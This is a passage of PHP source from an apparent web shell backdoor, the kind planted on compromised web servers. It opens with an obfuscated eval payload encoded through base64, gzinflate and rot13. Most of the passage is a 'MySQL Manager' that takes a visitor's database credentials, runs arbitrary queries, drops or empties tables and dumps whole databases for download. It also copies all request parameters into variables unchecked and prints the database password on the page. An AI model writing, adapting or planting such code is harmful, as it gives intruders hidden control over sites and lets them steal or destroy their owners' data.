782 {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
783elseif($_GET['do'] == 'metu') {
784
785
786echo '<form action="?dir=$dir&do=metu" method="post">';
787 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
788 echo 'Byee !';
789
790}
791elseif($_GET['do'] == 'sql') {
792 echo "
793<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
794
795 <tr>
796 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
797 <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>
798";
799function view_size($size) {
800 if (!is_numeric($size)) { return FALSE; }
801 else {
802if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
803elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
804elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
805else {$size = $size . " B";}
806return $size;
807 }
808}
809function mysql_dump($set) {
810 $sock = $set["sock"];
811 $db = $set["db"];
812 $print = $set["print"];
813 $nl2br = $set["nl2br"];
814 $file = $set["file"];
815 $add_drop = $set["add_drop"];
816 $tabs = $set["tabs"];
817 $onlytabs = $set["onlytabs"];
818 $ret = array();
819 $ret["err"] = array();
820 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
821 if (empty($db)) {$db = "db";}
822 if (empty($print)) {$print = 0;}
823 if (empty($nl2br)) {$nl2br = 0;}
824 if (empty($add_drop)) {$add_drop = TRUE;}
825 if (empty($file)) {
826$file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
827 }
828 if (!is_array($tabs)) {$tabs = array();}
829 if (empty($add_drop)) {$add_drop = TRUE;}
830 if (sizeof($tabs) == 0) {
831$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
832if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
833 }
834 $out = "
835 # Dumped By ".$xName."
836 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
837 # Date: ".date("d.m.Y H:i:s")."
838 # DB: \"".$db."\"
839 #---------------------------------------------------------";
840 $c = count($onlytabs);
841 foreach($tabs as $tab) {
842if ((in_array($tab,$onlytabs)) or (!$c)) {
843 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
844 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
845 if (!$res) {$ret["err"][] = mysql_smarterror();}
846 else {
847$row = mysql_fetch_row($res);
848$out .= $row["1"].";\n\n";
849$res = mysql_query("SELECT * FROM `$tab`", $sock);
850if (mysql_num_rows($res) > 0) {
851 while ($row = mysql_fetch_assoc($res)) {
852$keys = implode("`, `", array_keys($row));
853$values = array_values($row);
854foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
855$values = implode("', '", $values);
856$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
857$out .= $sql;
858 }
859}
860 }
861}
862 }
863 $out .= "#---------------------------------------------------------------------------------\n\n";
864 if ($file) {
865$fp = fopen($file, "w");
866if (!$fp) {$ret["err"][] = 2;}
867else {
868 fwrite ($fp, $out);
869 fclose ($fp);
870}
871 }
872 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
873 return $out;
874}
875function mysql_buildwhere($array,$sep=" and",$functs=array()) {
876 if (!is_array($array)) {$array = array();}
877 $result = "";
878 foreach($array as $k=>$v) {
879$value = "";
880if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
881$value .= "'".addslashes($v)."'";
882if (!empty($functs[$k])) {$value .= ")";}
883$result .= "`".$k."` = ".$value.$sep;
884 }
885 $result = substr($result,0,strlen($result)-strlen($sep));
886 return $result;
887}
888function mysql_fetch_all($query,$sock) {
889 if ($sock) {$result = mysql_query($query,$sock);}
890 else {$result = mysql_query($query);}
891 $array = array();
892 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
893 mysql_free_result($result);
894 return $array;
895}
896function mysql_smarterror($sock) {
897 if ($sock) { $error = mysql_error($sock); }
898 else { $error = mysql_error(); }
899 $error = htmlspecialchars($error);
900 return $error;
901}
902function mysql_query_form() {
903 global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
904 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
905 if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
906 if ((!$submit) or ($sql_x)) {
907echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
908if ($tbl_struct) {
909 echo "<td valign=\"top\"><b>Fields:</b><br>";
910 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
911 echo "</td></tr></table>";
912}
913 }
914 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
915}
916function mysql_create_db($db,$sock="") {
917 $sql = "CREATE DATABASE `".addslashes($db)."`;";
918 if ($sock) {return mysql_query($sql,$sock);}
919 else {return mysql_query($sql);}
920}
921function mysql_query_parse($query) {
922 $query = trim($query);
923 $arr = explode (" ",$query);
924 $types = array(
925"SELECT"=>array(3,1),
926"SHOW"=>array(2,1),
927"DELETE"=>array(1),
928"DROP"=>array(1)
929 );
930 $result = array();
931 $op = strtoupper($arr[0]);
932 if (is_array($types[$op])) {
933$result["propertions"] = $types[$op];
934$result["query"] = $query;
935if ($types[$op] == 2) {
936 foreach($arr as $k=>$v) {
937if (strtoupper($v) == "LIMIT") {
938 $result["limit"] = $arr[$k+1];
939 $result["limit"] = explode(",",$result["limit"]);
940 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
941 unset($arr[$k],$arr[$k+1]);
942}
943 }
944}
945 }
946 else { return FALSE; }
947}
948function disp_error($msg) { echo "<div class=errmsg>$msg</div>\n"; }
949function html_style() {
950$style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; } .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
951return $style;
952}
953$auto_surl = TRUE;
954foreach ($_REQUEST as $k => $v) {
955 if (!isset($$k)) { $$k = $v; }
956}
957if ($auto_surl) {
958 $include = "&";
959 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
960$v= explode("=",$v);
961$name= urldecode($v[0]);
962$value= @urldecode($v[1]);
963$needles = array("http://","https://","ssl://","ftp://","\\\\");
964foreach ($needles as $needle) {
965 if (strpos($value,$needle) === 0) {
966$includestr .= urlencode($name)."=".urlencode($value)."&";
967 } } } }
968if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); }
969if (!isset($x)) { $x = "sql"; }
970 if ($x == "sql") {
971 foreach (array("sort","sql_sort") as $v) {
972if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
973if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
974 }
975 if ($sort_save) {
976if (!empty($sort)) { setcookie("sort",$sort); }
977if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
978 }
979 if (!isset($sort)) { $sort = $sort_default; }
980 $sort = htmlspecialchars($sort);
981 $sort[1] = strtolower($sort[1]);
982 echo html_style();
983echo "<div id='maininfo'>";
984 if ($x == "sql") {
985 $sql_surl = $surl."x=sql";
986 if (!isset($sql_login)) { $sql_login = ""; }
987 if (!isset($sql_passwd)) { $sql_passwd = ""; }
988 if (!isset($sql_server)) { $sql_server = ""; }
989 if (!isset($sql_port)) { $sql_port = ""; }
990 if (!isset($sql_tbl)) { $sql_tbl = ""; }
991 if (!isset($sql_x)) { $sql_x = ""; }
992 if (!isset($sql_tbl_x)) { $sql_tbl_x = ""; }
993 if (!isset($sql_order)) { $sql_order = ""; }
994 if (!isset($sql_x)) { $sql_x = ""; }
995 if (!isset($sql_getfile)) { $sql_getfile = ""; }
996 if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
997 if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
998 if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
999 if (@$sql_port){ $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
1000 if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
1001 $sql_surl .= "&";
1002 echo "";
1003 if (@$sql_server) {
1004$sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1005$err = mysql_smarterror($sql_sock);
1006@mysql_select_db($sql_db,$sql_sock);
1007if (@$sql_query and $submit) {
1008 $sql_query_result = mysql_query($sql_query,$sql_sock);
1009 $sql_query_error = mysql_smarterror($sql_sock);
1010}
1011 }
1012 else { $sql_sock = FALSE; }
1013 if (!$sql_sock) {
1014if (!@$sql_server) { echo "<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>"; }
1015else { disp_error("ERROR: ".$err); }
1016 }
1017 else {
1018#SQL Quicklaunch
1019$sqlquicklaunch= array();
1020$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1021$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
1022$sqlquicklaunch[] = array("Server status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
1023$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
1024$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
1025$sqlquicklaunch[] = array("Logout",$surl."x=sql");
1026echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
1027if (count($sqlquicklaunch) > 0) {
1028 foreach($sqlquicklaunch as $item) {
1029echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
1030 }
1031 }
1032 }
1033echo "</div>";
1034echo "<center><table class='tab'><tr>";
1035 if (!$sql_sock) {
1036 echo '<td>
1037<form name="f_sql" action="'.$surl.'x=sql" method="POST">
1038<input type="hidden" name="x" value="sql">
1039<table class="tabnet" style="padding:1px;">
1040<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
1041<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
1042<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
1043<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
1044<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
1045<tr><td>Port</td><td><input type="text" name="sql_port" class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
1046</table>
1047</form>';
1048 }
1049 else {
1050 echo '<td valign="top" style="border:1px solid #333333;">
1051<center>
1052<a href="'.$sql_surl.'"><b style="color:#00ff00;">HOME</b></a>
1053<hr size="1" noshade>';
1054 $result = mysql_list_dbs($sql_sock);
1055 if (!$result) { echo mysql_smarterror(); }
1056 else {
1057 echo '<form action="'.$surl.'x=sql">
1058<input type="hidden" name="x" value="sql">
1059<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1060<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1061<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1062<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1063<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
1064$c = 0;
1065$dbs = "";
1066while ($row = mysql_fetch_row($result)) {
1067 $dbs .= "\t\t<option value=\"".$row[0]."\"";
1068 if (@$sql_db == $row[0]) { $dbs .= " selected"; }
1069 $dbs .= ">".$row[0]."</option>\n";
1070 $c++;
1071}
1072echo "\t\t<option value=\"\">Databases (".$c.")</option>\n";
1073echo $dbs;
1074 }
1075echo '</select>
1076<hr size="1" noshade>
1077</form>
1078</center>';
1079if (isset($sql_db)) {
1080 $result = mysql_list_tables($sql_db);
1081 if (!$result) {
1082$result = mysql_list_dbs($sql_sock);
1083$num = mysql_num_rows($result);
1084for( $i = 0; $i < $num; $i++ ) {
1085$dbname = mysql_dbname( $result, $i );
1086echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\"".$sql_surl."sql_db=".$dbname."\">$dbname</a></b></td></table>"; } }
1087 else {
1088echo "\t<table class='tub'><th><a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a></th></table><br>\n";
1089$c = 0;
1090while ($row = mysql_fetch_array($result)) {
1091 $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
1092 $count_row = mysql_fetch_array($count);
1093 echo "\t<b>+ <a style='color:#00ff00;' href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n";
1094 mysql_free_result($count);
1095 $c++;
1096}
1097if (!$c) { echo "No tables found in database"; }
1098 }
1099}
1100echo '</td>';
1101echo '<td style="border:1px solid #333333;">';
1102$diplay = TRUE;
1103if (@$sql_db) {
1104 if (!is_numeric($c)) { $c = 0; }
1105 if ($c == 0) { $c = "no"; }
1106 echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
1107 if (count(@$dbquicklaunch) > 0) {
1108foreach($dbsqlquicklaunch as $item) {
1109 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
1110}
1111 }
1112 echo "</b></center>\n";
1113 $xs = array("","dump");
1114 if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1115 elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";}
1116 elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
1117 elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1118 elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1119 elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1120 elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1121 elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
1122 elseif ($sql_tbl_x == "insert") {
1123if ($sql_tbl_insert_radio == 1) {
1124 $keys = "";
1125 $akeys = array_keys($sql_tbl_insert);
1126 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1127 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1128 $values = "";
1129 $i = 0;
1130 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1131 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1132 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1133 $sql_x = "query";
1134 $sql_tbl_x = "browse";
1135}
1136elseif ($sql_tbl_insert_radio == 2) {
1137 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1138 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1139 $result = mysql_query($sql_query) or print(mysql_smarterror());
1140 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1141 $sql_x = "query";
1142 $sql_tbl_x = "browse";
1143}
1144 }
1145 if ($sql_x == "query") {
1146echo "<hr size=\"1\" noshade>";
1147if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1148if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
1149if ((!$submit) or ($sql_x)) { echo "<table class='tab'><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; }
1150 }
1151 if (in_array($sql_x,$xs)) {
1152echo '<table class="tab">
1153<tr>
1154<td style="border:1px solid #333333;padding:3px;">
1155<b>Create new table:</b>
1156<form action="'.$surl.'">
1157<input type="hidden" name="x" value="sql">
1158<input type="hidden" name="sql_x" value="newtbl">
1159<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1160<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1161<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1162<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1163<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1164<input type="text" name="sql_newtbl" size="20">
1165Fields: <input type="text" name="sql_field" size="3">
1166<input class="inputzbut" type="submit" value="Create">
1167</form>
1168</td>
1169<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
1170<form action="'.$surl.'">
1171<input type="hidden" name="x" value="sql">
1172<input type="hidden" name="sql_x" value="dump">
1173<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
1174<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1175<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1176<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1177<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1178<input type="text" name="dump_file" size="30" value="dump_'.getenv("SERVER_NAME").'_'.$sql_db.'_'.date("d-m-Y-H-i-s").'.sql">
1179<input type="submit" class="inputzbut" name="submit" value="Dump">
1180</form>
1181</td>
1182</tr>
1183</table>';
1184if (!empty($sql_x)) { echo "<hr size=\"1\" noshade>"; }
1185if ($sql_x == "newtbl") {
1186 echo "<b>";
1187 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
1188echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1189 }
1190 else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); }
1191}
1192elseif ($sql_x == "dump") {
1193 if (empty($submit)) {
1194$diplay = FALSE;
1195echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1196echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1197$v = join (";",$dmptbls);
1198echo "<b>Only tables (explode \";\") :</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1199if ($dump_file) {$tmp = $dump_file;}
1200else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1201echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1202echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1203echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1204echo "<br><br><input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"Dump\">";
1205echo "</form>";
1206 }
1207 else {
1208$diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0;
1209$set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array();
1210if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1211$ret = mysql_dump($set);
1212if ($sql_dump_download) {
1213 @ob_clean();
1214 header("Content-type: application/octet-stream");
1215 header("Content-length: ".strlen($ret));
1216 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1217 echo $ret;
1218 exit;
1219}
1220elseif ($sql_dump_savetofile) {
1221 $fp = fopen($sql_dump_file,"w");
1222 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1223 else {
1224fwrite($fp,$ret);
1225fclose($fp);
1226echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1227 }
1228}
1229else {echo "<b>Dump: nothing to do!</b>";}
1230 }
1231}
1232if ($diplay) {
1233 if (!empty($sql_tbl)) {
1234 if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
1235 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1236 $count_row = mysql_fetch_array($count);
1237 mysql_free_result($count);
1238 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1239$tbl_struct_fields = array();
1240while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1241 if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
1242 if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
1243 if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
1244 if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
1245 $perpage = $sql_tbl_le - $sql_tbl_ls;
1246 if (!is_numeric($perpage)) { $perpage = 10; }
1247 $numpages = $count_row[0]/$perpage;
1248 $e = explode(" ",$sql_order);
1249 if (count($e) == 2) {
1250if ($e[0] == "d") { $asc_desc = "DESC"; }
1251else { $asc_desc = "ASC"; }
1252$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1253 }
1254 else {$v = "";}
1255 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1256 $result = mysql_query($query) or print(mysql_smarterror());
1257 echo "<center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1258 echo "<hr size=\"1\" noshade>";
1259 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
1260 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
